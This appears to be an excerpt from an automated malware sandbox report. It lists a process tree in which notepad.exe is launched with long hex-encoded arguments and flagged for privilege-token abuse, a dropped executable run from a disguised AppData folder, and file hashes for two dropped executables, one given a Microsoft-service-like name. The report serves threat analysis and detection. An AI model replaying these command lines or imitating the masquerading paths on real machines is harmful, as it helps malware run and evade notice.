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C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5e335d021028013b70283a2205363e38062504571e21592c3637315c35022011252703030a233b2a1c305670012e2f2f02290a0f1f04510939012e003b312c3137342259143d2311560f37062c0836130c1957063c193b38703e3f1023064440194e71565c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195456714440084e331c42592⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4616
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C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5e335d021028013b70283a2205363e38062504571e21592c3637315c35022011252703030a233b2a1c305670012e2f2f02290a0f1f04510939012e003b312c3137342259143d2311560f37062c0836130c1957063c193b38703e3f1023064440194e71565c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a19545d714440084e331c42592⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4388
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C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\0e5900930.exeC:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\0e5900930.exe1⤵
- Executes dropped EXE
PID:4968
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4480
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\0e5900930.exe
- Size 6.3MB
- SHA256 e8a91238df80f4649099f7cbec4460e0bc533a046a598392b14a378cc5d56075
- MD5 446dff23b80ea65a6697abc6a3ba2927
- SHA1 36351d6572d6c5089925b766b6c2d03fa3914ccc
- SHA512 24eb12eeec748694b1888b8b98865c61efefda1e67aaace6ff3e9cd9a38ae9015636099e4a1c54722ad4b4e5d2765db49d1796da66aa796b387d75f38bd940bb
- SSDEEP 98304:CW4FX5h5yH6Y+DGB73nvHdxt4CUEdZKOcE7GpPs+yzD:Clph5yHKGBDNWXWD
- TLSH T13966CF07FCA559F5C0AAA331893695127B71BC491B3123DB2FA0BAB82F727D09C79714
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\Cache\Runtime\msservice2026_777b.exe
- Size 7.9MB
- SHA256 f470ca85402284a7c6913be7dbf73fc4651ccb10af5fad400a2a2d4894116ac2
- MD5 6c1b8a32227bdab920f7b71562d95a1f
- SHA1 0d32ec49fffdc251a63bb6c40691c604ff95bc5b
- SHA512 86a36b9cfd3ac730bcf17eb4e75c97eb0354ba08849d05d1363f6ca442ebd047ae7c56c8ac225cdc6e3cf4b4a744dc6b460617f74933800cb3b6beeefc4dd1d7
- SSDEEP 98304:9f4LggtjOvcD/9bKDKlt7ldJfqWzdxR74rmSaPjBejykhXbGlA3IbYuic2wQxQQJ:esgt9eGGIb9ic2djkV
- TLSH T107868C17E6A500E8C86AD17CC6568633E7B1B8585330F6DB16A4D7761F33AE05E3EB20
- MD5 SHA1 SHA512 SSDEEP TLSH